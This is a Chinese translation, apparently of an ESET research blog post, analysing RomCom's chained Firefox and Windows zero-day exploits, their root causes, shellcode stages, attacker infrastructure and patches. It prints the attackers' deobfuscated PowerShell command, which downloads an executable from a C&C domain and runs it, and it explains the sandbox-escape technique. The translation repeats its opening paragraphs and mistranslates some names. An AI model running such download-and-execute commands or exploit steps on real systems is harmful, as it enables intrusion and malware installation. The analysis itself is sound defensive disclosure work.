APT组织RomCom在野利用 Firefox 和 Windows 零日漏洞

ESET 研究人员在 Mozilla 产品中发现了一个此前未知的漏洞,该漏洞被与俄罗斯结盟的 RomCom 组织在野外利用。这是 RomCom 至少第二次被发现在野外利用重大零日漏洞,此前一次是在2023 年 6 月通过 Microsoft Word滥用CVE-2023-36884。
此严重漏洞(编号为CVE-2024-9680,CVSS 评分为 9.8)允许存在漏洞的 Firefox、Thunderbird 和 Tor 浏览器版本在浏览器的受限上下文中执行代码。与 Windows 中另一个之前未知的漏洞(编号为CVE-2024-49039,CVSS 评分为 8.8)相结合,可在登录用户的上下文中执行任意代码。在一次成功的攻击中,如果受害者浏览包含漏洞的网页,攻击者便可运行任意代码(无需任何用户交互),在本例中,这导致在受害者的计算机上安装 RomCom 的同名后门。
ESET 研究人员在 Mozilla 产品中发现了一个此前未知的漏洞,该漏洞被与俄罗斯结盟的 RomCom 组织在野外利用。这是 RomCom 至少第二次被发现在野外利用重大零日漏洞,此前一次是在2023 年 6 月通过 Microsoft Word滥用CVE-2023-36884。
此严重漏洞(编号为CVE-2024-9680,CVSS 评分为 9.8)允许存在漏洞的 Firefox、Thunderbird 和 Tor 浏览器版本在浏览器的受限上下文中执行代码。与 Windows 中另一个之前未知的漏洞(编号为CVE-2024-49039,CVSS 评分为 8.8)相结合,可在登录用户的上下文中执行任意代码。在一次成功的攻击中,如果受害者浏览包含漏洞的网页,攻击者便可运行任意代码(无需任何用户交互),在本例中,这导致在受害者的计算机上安装 RomCom 的同名后门。
这篇博文的要点:
- 2024 年 10月8 日,ESET 研究人员发现 Mozilla 产品中一个此前未知的零日漏洞正在被野外利用。
- 对该漏洞的分析导致了漏洞的发现,该漏洞现在被分配为CVE-2024-9680:Firefox 动画时间线功能中的一个释放后使用漏洞。Mozilla 于 2024 年 10 月 9 日修补了该漏洞。
- 进一步分析发现 Windows 中存在另一个零日漏洞:一个权限提升漏洞,目前已分配CVE‑2024‑49039 ,该漏洞允许代码在 Firefox 沙盒之外运行。微软于 2024 年 11 月 12日发布了针对此第二个漏洞的补丁。
- 成功的利用尝试带来了 RomCom 后门,这看起来像是一场大规模的活动。
RomCom 简介
RomCom(又名 Storm-0978、Tropical Scorpius 或 UNC2596)是一个与俄罗斯结盟的组织,它既针对特定垂直行业开展机会主义活动,也开展有针对性的间谍活动。该组织的重点已转移到包括间谍活动和情报收集,同时开展更为传统的网络犯罪活动。该组织使用的后门能够执行命令并将其他模块下载到受害者的机器上。
根据我们的研究,表 1 显示了 RomCom 在 2024 年瞄准的行业。这表明该组织不仅从事间谍活动,还从事网络犯罪活动。
表 1. 2024 年浪漫喜剧受害者
垂直和区域 | 目的 | 首次出现 |
乌克兰政府实体 | 间谍 | 2024-01 |
美国制药业 | 网络犯罪 | 2024-03 |
德国法律行业 | 网络犯罪 | 2024-03 |
美国保险业 | 网络犯罪 | 2024-04 |
乌克兰国防部门 | 间谍 | 2024-08 |
乌克兰的能源部门 | 间谍 | 2024-08 |
欧洲政府实体 | 间谍 | 2024-08 |
全球目标 – Firefox 漏洞 | 未知 | 2024-10 |
妥协链
攻击链由一个虚假网站组成,该网站将潜在受害者重定向到托管漏洞的服务器,如果漏洞利用成功,则会执行 shellcode,下载并执行 RomCom 后门 - 图 1 中显示了该后门的一个示例。虽然我们不知道虚假网站的链接是如何分发的,但是,如果使用易受攻击的浏览器访问该页面,则会在受害者的计算机上投放并执行有效负载,而无需用户交互。最后,几秒钟后使用window.location.href执行 JavaScript 重定向,让漏洞有时间运行。

从 2024 年 10 月 10 日到2024 年 10 月 16 日,就在第一个漏洞被修补后不久,我们发现其他 C&C 服务器托管了该漏洞。他们使用了一种重复命名方案来为他们的虚假服务器命名,即在合法域名上添加前缀或后缀redir或red,有时还会更改其顶级域名 (TLD),如表 2 所示。在漏洞利用尝试结束时,重定向会将受害者带到原始域名上的合法网站,大概是为了避免引起目标的怀疑。
表 2. 重定向至漏洞利用的虚假服务器
首次出现 | 假服务器 | 最终重定向至 | 重定向网站目的 |
2024-10-10 | redircorrectiv[.]com | 纠正网站 | 非营利性独立新闻编辑室。 |
2024-10-14 | devolredir[.]com | 权力下放网 | 远程访问和密码管理解决方案。 |
2024-10-15 | redirconnectwise[.]云 | connectwise.com | MSP技术和IT管理软件。 |
2024-10-16 | redjournal[.]cloud | connectwise.com |
如果受害者使用存在漏洞的浏览器访问提供此漏洞的网页,则会触发漏洞并在内容进程中执行shellcode。shellcode 由两部分组成:第一部分从内存中检索第二部分并将包含的页面标记为可执行文件,而第二部分基于开源项目Shellcode Reflective DLL Injection (RDI) 实现 PE 加载器。
加载的库实现了 Firefox 的沙盒逃逸,从而导致在受害者的计算机上下载并执行 RomCom 后门。根据样本的不同,后门位于journalctd[.]live、correctiv[.]sbs或cwise[.]store的 C&C 服务器上。
根据我们的遥测,从 2024 年 10 月 10 日到2024 年 11 月 4 日,访问托管该漏洞的网站的潜在受害者主要位于欧洲和北美,如图 2 所示。根据 ESET 遥测,潜在目标的数量从每个国家/地区的单个受害者到多达 250 个受害者不等。

CVE-2024-9680:Firefox 动画时间线中的释放后使用漏洞
2024年10 月 8 日,我们发现了一些有趣的文件,这些文件用于传递 RomCom 后门,托管在威胁行为者控制的服务器1drv.us[.]com上。这些漏洞针对的是 Firefox 动画时间线中的释放后使用漏洞,允许攻击者在内容进程中实现代码执行。在调查过程中,我们分析了表 3 中引用的文件。
表 3. 与漏洞利用相关的文件
姓名 | 描述 |
main-128.js | 包含针对 Firefox 106至128版本的漏洞利用的 JavaScript 文件。 |
main-129.js | 包含 Firefox 129至131版本漏洞的 JavaScript 文件。 |
主要-tor.js | 包含 Tor 浏览器版本12和13漏洞的 JavaScript 文件。 |
脚本.js | 用于生成 CAPTCHA 的 JavaScript 文件。 |
工具类 | 包含辅助函数的 JavaScript 文件,例如,用于转换数据类型或获取操作系统类型或浏览器版本。 |
动画0.html | 该漏洞加载的HTML iframe会触发使用后释放漏洞。 |
索引.html | HTML 页面加载漏洞并在几秒钟后重定向到合法网站。 |
与这些文件相关的时间戳表明它们于 2024 年 10 月 3日创建并在线提供;尽管如此,威胁行为者可能早于此就已经掌握了这一漏洞。
我们在发现该漏洞后不久就向 Mozilla 报告了该漏洞,事件时间表如下:
- 2024-10-08:发现并初步分析。
- 2024-10-08:向 Mozilla 报告漏洞。
- 2024-10-08:Mozilla 承认漏洞。
- 2024-10-09:Mozilla 公司分配的CVE-2024-9680 。
- 2024-10-09:修补 Firefox 中的漏洞,安全公告 2024-51。
- 2024-10-09:Tor 浏览器13.5.7 版中修补了漏洞。
- 2024-10-10:Tails 6.8.1 版本中修补了漏洞。
- 2024-10-10:修补 Thunderbird 中的漏洞,安全公告 2024-52。
我们要感谢 Mozilla 团队的积极响应,并强调他们在一天之内发布补丁的出色工作。
Mozilla 和 Tor 项目发布了补丁,修复了以下版本中的漏洞:
- Firefox 131.0.2
- Firefox ESR 115.16.1
- Firefox ESR 128.3.1
- Tor 浏览器13.5.7
- 尾巴6.8.1
- 雷鸟115.16
- 雷鸟128.3.1
- 雷鸟131.0.1
在准备这篇博文期间,独立研究员 Dimitri Fourny 于 2024 年 11 月 14 日发布了对该漏洞的详细分析。
根本原因分析
main- <Firefox 版本>.js首先检查浏览器的确切版本,并通过检查受影响版本中某些特定对象的偏移量和大小来确定其可利用性。如果这些检查通过,它将继续向漏洞利用页面添加 HTML iframe ,该页面在animation0.html中实现。后者创建了四个 HTML div元素,分别标识为target0到target3,但最重要的是,它为Object.prototype的then属性定义了一个getter函数,如图 3 所示。此函数将触发 use-after-free 漏洞,如下所述。请注意,评论(深绿色)来自漏洞利用作者;这可能表明该漏洞利用仍处于开发阶段或威胁行为者购买了它。

在一些初始堆喷射之后,prepare函数创建了四个Animation对象,每个之前创建的div元素一个,如图 4 所示。这些动画对象由AnimationTimeline对象处理。

在文档动画时间轴期间,将调用测试函数,该函数暂停并获取第一个和第二个动画对象的ready属性。如文档中所述, ready属性返回一个Promise,该 Promise 在动画准备好播放时解析。在 Promise 上调用then方法会导致调用图 3 所示的 getter 函数。本质上,这个函数会增加一个全局标志变量,当它达到2 时,第一个动画对象 ( anim0 ) 将被取消,并且所有div元素都将被删除。对rm0函数的调用(如图 3 所示)将动画对象设置为null以释放它们,从而触发使用后释放漏洞。这个函数还会执行一些堆风水,并且在最初发现的漏洞利用中,调用负责实现代码执行的getInfo函数。
与此同时,在刷新animation0.html文档时,其AnimationTimeline对象的Tick方法会被定期调用。如图 5 所示,此方法迭代动画时间轴中存在的不同动画对象,并将要删除的动画附加到名为animationsToRemove的本地数组变量中。

该漏洞在于,在迭代动画时间轴的不同动画对象时,会调用Animation对象的Tick方法,这可能导致释放当前动画对象,从而处理悬空指针。在调试漏洞时,我们观察到一系列调用,最终进入上述 getter 函数,如图 6 和图 7 所示。


getter 函数调用Animation::Cancel,后者又调用AnimationTimeline::RemoveAnimation。然后,动画对象 anim0 和 anim1 被设置为 null,以便释放它们。当 AnimationTimeline::Tick 遍历数组 animationsToRemove(图 5 中的第 74 行)时,AnimationTimeline::RemoveAnimation 将操纵已被移除的 Animation 对象的悬空指针,如图 8 所示。

在rm0函数中释放动画之后,漏洞利用将继续进行更多的堆管理,以控制将替换释放动画的对象,最后调用getInfo函数,如图 9 所示。

无需过多介绍漏洞代码的细节,其作者滥用div对象及其属性以及ImageData对象来泄露后者的属性,如图 10 所示。

然后,漏洞代码继续操纵ArrayBuffer对象,以泄漏任意 JavaScript 对象(称为addrof原语)的地址,并滥用 Firefox JIT 编译器在内容进程的上下文中执行第一个 shellcode 组件,如图 11 所示。此技术在本博文中有详细解释。

Mozilla于 2024 年 10 月 9 日修补了Firefox 131.0.2、Firefox ESR 128.3.1和 Firefox ESR 115.16.1中的漏洞。本质上,时间线处理的动画对象的指针现在是通过引用计数指针 ( RefPtr ) 实现的,如diff所示,这会阻止动画被释放,因为AnimationTimeline::Tick仍将保留对它们的引用。
Shellcode分析
两个 shellcode 都存储在 JavaScript 漏洞文件main-<Firefox 版本>.js中。第一个是作为浮点数数组动态创建的,而第二个则存储为一个巨大的字节数组。
Egghunting shellcode
第一个 shellcode 只是通过在内存中搜索硬编码魔法值0x8877665544332211来检索第二个 shellcode ,将其内存保护更改为读写执行 (RWX),并执行位于该地址的代码。
反射加载器 shellcode
第二个 shellcode 是Shellcode RDI项目的编译版本,可以加载 DLL。威胁行为者未更改 shellcode 中使用的常量(参见https://github.com/monoxgas/sRDI/blob/master/Native/Loader.cpp#L367与图 12 中显示的常量)。

该 shellcode 只是加载一个嵌入式库,其唯一目的是逃避 Firefox 沙盒内容进程的限制。
CVE-2024-49039:Windows 任务计划程序中的权限提升
加载的库(SHA1:ABB54C4751F97A9FC1C9598FED1EC9FB9E6B1DB6)由其开发人员命名为PocLowIL ,并于 2024 年 10 月 3日编译,实现了从内容进程的不受信任进程级别到中等级别的沙盒逃逸。本质上,该库利用未记录的 RPC 端点(该端点不应该从不受信任的进程级别调用)来启动隐藏的 PowerShell 进程,该进程从 C&C 服务器下载第二阶段。
该漏洞披露的时间线如下:
- 2024-10-08:作为我们向 Mozilla 提交的 CVE-2024-9680 初始报告的一部分,我们还提供了我们认为的沙盒逃逸信息。
- 2024-10-14:Mozilla 的安全团队确认了沙盒逃逸,并认为该漏洞与 Windows 安全漏洞有关。他们告诉我们,他们已经联系了 Microsoft 安全响应中心 (MSRC) 来评估该漏洞。
- 2024-11-12:微软通过更新KB5046612发布了针对CVE-2024-49039的公告及其相应的补丁。该漏洞也是由谷歌威胁分析小组的 Vlad Stolyarov 和 Bahare Sabouri 独立发现的,如KB5046612中所述。
根本原因分析
沙盒逃逸代码位于库中相对较小的主函数中。它利用了一个未记录的 RPC 端点,如图 13 所示。

该函数继续填充未记录的结构并调用NdrClientCall2三次。传递给此函数的第一个参数pStubDescriptor是一个MIDL_STUB_DESC结构,其RpcInterfaceInformation成员指向由 GUID 33D84484-3626-47EE-8C6F-E7E98B113BE1标识的接口。此接口在 Windows 库WPTaskScheduler.dll中实现,由schedsvc.dll加载,托管在任务调度服务 ( svchost.exe )的进程中。
根据我们对该接口的分析,沙箱逃逸代码调用了以下函数:
- s_TaskScheduler创建计划
- s_TaskSchedulerExecuteSchedule
- s_TaskSchedulerDeleteSchedule(仅用于清理)
使用RpcView并部分逆向一些结构后,我们找出了主要结构,如图14所示。

在 IDA Pro 中应用这些结构后,我们获得了更清晰的任务概述,如图 15 所示。

根据代码,恶意库会创建一个计划任务,该任务将以中等完整性级别运行任意应用程序,从而使攻击者能够提升其在系统上的权限并突破沙盒。这是可能的,因为在创建 RPC 接口时对其应用的安全描述符没有施加任何限制,如图 16 所示。

调用RpcServerRegisterIf3时使用的重命名变量interface_security_descriptor具有以下值:D:P(A;;GA;;;S-1-15-2-1)(A;;GA;;;WD)。根据安全描述符定义语言(SDDL),它允许每个人 (WD) 与 RPC 接口进行通信并调用其程序,而不管其完整性级别如何。
开发
在本例中,威胁行为者创建了一个名为firefox.exe的任务,该任务将以无头模式启动conhost.exe,以隐藏子进程窗口。对其余命令行进行反混淆(如图 15 所示),可以看到图 17 所示的 PowerShell 代码。
$a=$env:public + '\\public';
Invoke-WebRequest https://journalctd[.]live/JfWb4OrQPLh -o $a;
sleep 15;
Rename-Item $a ($a = ($a + '.exe')) # $env:public\public.exe
Start-Process $a;
sleep 10;
Rename-Item $a ($a = ($a -replace 'public.e', 'epublic.e')) # $env:public\epublic.exe
Start-Process $a
图 17. PowerShell 代码下载下一阶段组件
从https://journalctd[.]live/JfWb4OrQPLh下载可执行文件,将其作为public.exe存储在%PUBLIC%文件夹中并运行。10 秒后,将其重命名为epublic.exe并再次运行。
简要补丁分析
与KB5046612一起发布的修补版本WPTaskScheduler.dll(版本10.0.19041.5129)使用了更复杂的安全描述符,如图 18 所示。

新的安全描述符是:
D:(A;;GRGWGX;;;SY)(A;;GRGWGX;;;LS)(A;;GR;;;NS)(A;;GR;;;IU)S:(ML;;NWNXNR;;;ME)
分解字符串可以发现以下限制逻辑:
- 系统 ( SY ) 和本地服务 ( LS ) 帐户被授予读取、写入和执行访问权限,
- 网络服务(NS)帐户和交互式用户(IU)仅被授予读取权限,
- 最后,完整性级别低于“中等”(ME)的对象将被拒绝读取、写入和执行访问。
更新的安全描述符所施加的新限制可防止权限提升,并使沙盒逃逸代码变得过时。
结论
将两个零日漏洞串联起来,RomCom 便可以利用无需用户交互的漏洞进行攻击。这种复杂程度表明威胁行为者有意愿并有手段获得或开发隐身能力。在发现漏洞后不久,ESET 就与 Mozilla 分享了详细的发现,并遵循了我们协调的漏洞披露流程。Mozilla 发布了一篇博文,介绍了他们对漏洞披露的反应,并能够在 25 小时内发布修复程序,与行业标准相比,这非常令人印象深刻。